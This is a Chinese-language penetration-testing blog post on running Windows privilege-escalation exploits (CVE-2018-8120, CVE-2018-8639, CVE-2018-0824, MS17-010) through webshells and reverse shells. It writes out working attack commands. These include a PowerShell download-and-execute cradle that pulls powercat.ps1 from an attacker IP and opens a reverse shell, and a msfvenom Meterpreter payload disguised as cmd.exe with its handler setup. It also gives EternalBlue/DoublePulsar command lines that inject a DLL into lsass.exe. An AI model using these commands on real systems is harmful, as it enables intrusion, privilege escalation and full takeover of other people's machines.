0x01 前言
Windows常见提权方式无非就那几种:内核漏洞、数据库、第三方、服务和配置不当等,但用的最多还是内核漏洞。以前看到大多数人在利用提权EXP进行提权时只会用exp.exe whoami
,不行就放弃了,其实每个提权EXP的执行方式是取决于开发作者是如何编写的,这里分享几个我在测试中发现的执行方式。
0x02 交互与非交互SHELL区别
交互式SHELL:命令终端有与用户进行交互,会等待用户输入命令后立即执行,有回显,如:登录、退出、可执行文件或系统中的一些命令,这里以下边的这个批处理文件为例来进行测试。
@echo off set /p user=请输入用户名: if %user% == admin ( echo 输入正确!) pause > nul
非交互式SHELL:命令终端没有与用户进行交互,而是读取文件中的命令来执行,当执行完成后即退出SHELL,并没有回显,如:Webshell大马和中国菜刀的虚拟终端里执行这个批处理文件。
注:在权限提升和后渗透中可根据目标实际场景的需求选择交互或非交互SHELL,有的提权EXP、利用程序必须在交互式才能执行,所以个人建议还是尽可能在交互式下执行相关操作。
获取交互式SHELL的方式:
我们可以在Kali里用Netcat工具执行监听,然后再去目标主机上通过Powershell执行powercat.ps1脚本反弹得到一个交互式SHELL,也可以通过Meterpreter会话得到一个交互式SHELL。
攻击机执行: root@kali:~# netcat -lvvp 9527 受害机执行: powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.120/powercat.ps1');powercat -c 192.168.1.120 -p 9527 -e cmd
0x03 常规方式
这里以CVE-2018-8120为例,这是最常见的一种执行方式,可以直接将提权EXP上传至目标主机的可读写目录中执行即可,因为国内大部分提权EXP都这样写的,所以可通过自定义参数来执行。
但有时在执行命令时可能会出现两个“拒绝访问”的情况,这可能是cmd被降权或系统安全设置造成,可尝试将我们上传到可读写目录中的提权EXP放在cmd.exe位置上去执行,也可以尝试用“”双引号将提权EXP括起来后再执行,曾经在实战中遇到过多次,仅供参考,不排除还有其他原因。
C:\Windows\SysWOW64\inetsrv\> C:\ProgramData\64.tmp whoami 拒绝访问。 拒绝访问。 C:\Windows\SysWOW64\inetsrv\> "C:\ProgramData\64.tmp" [#] ms16-032 for service by zcgonvh [#] usage: ms16-032 command [#] eg: ms16-032 "whoami /all" 拒绝访问。
0x04 交互式执行
这里以CVE-2018-8639为例,这个提权EXP不支持自定义参数执行,而且需要进行交互,所以在中国菜刀虚拟终端下执行时是没有回显的,会一直卡着不动,其实是已经在运行了。
通过ProcessExplorer工具可以看到我们的提权EXP已经成功执行了,并且单独创建了一个以SYSTEM权限运行的cmd.exe进程,所以这个提权EXP必须在交互式下执行才能利用成功。
使用以上提到的反弹shell方式得到一个交互式SHELL,然后再执行我们上传到可读写目录中的提权EXP即可,第一次执行whoami命令还是普通权限,再执行一次即可得到最高权限。
注:本地测试发现CVE-2018-8639这个提权EXP在执行多次后可能会出现系统崩溃蓝屏的情况,可能是我测试环境问题,所以在实战场景中还需请谨慎使用,不作死就不会死!!!
0x05 非交互式执行
这里以CVE-2018-0824为例,这个提权EXP也不支持自定义参数执行,但可以在非交互式SHELL下执行,测试中发现执行成功后会以SYSTEM权限优先去执行提权EXP目录下的cmd.exe,如果这个目录没有这个文件,它才会去执行%SystemRoot%\system32\cmd.exe,反正都是以最高权限去执行的。
首先我们先用msfvenom命令生成一个以cmd.exe命名的EXE载荷文件,因为CVE-2018-0824这个提权EXP只会去执行cmd.exe文件...,然后在handler监听模块配置好相关选项,执行监听。
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.120 LPORT=443 -f exe > /var/www/html/cmd.exe msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.0.120 msf5 exploit(multi/handler) > set lport 443 msf5 exploit(multi/handler) > exploit
接着将CVE-2018-0824提权EXP和EXE载荷文件同时上传至目标主机的可读写目录中,必须在同一目录下,然后再通过中国菜刀虚拟终端执行我们的提权EXP即可得到SYSTEM最高权限会话。
通过ProcessExplorer工具可以看到我们的提权EXP已经成功执行了,并且以SYSTEM权限执行了我们的EXE载荷文件,最后执行的是:C:\ProgramData\cmd.exe,发现很多人都不会用这个。
0x06 本地攻击方式
这里以MS17-010为例,虽然这是一个远程代码执行漏洞,但也可以用于本地权限提升,只需将IP地址修改为127.0.0.1即可,这招我给叫做:疯起来自己都打,就问你怕不怕。其他一些常见的横向移动方式也是可以这样玩的,如:atexec、psexec、wmiexec、smbexec等。
Eternalblue-2.2.0.exe --targetip 127.0.0.1 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig 1.txt
Doublepulsar-1.3.1.exe --OutConfig 2.txt --Targetip 127.0.0.1 --TargetPort 445 --DllPayload msf_x64.dll --DllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll
0x07 空格路径问题
找到的可读写目录可能会存在一个或多个空格,这时不能直接执行我们上传的提权EXP,会提示找不到文件,可使用以下方式将提权EXP或路径中的空格用“”双引号括起来,或者使用短文件/文件夹名。
"C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\exp.exe" C:\Program" "Files\Zend\ZendOptimizer-3.3.0\lib\exp.exe C:\Progra~1\Zend\ZendOptimizer-3.3.0\lib\exp.exe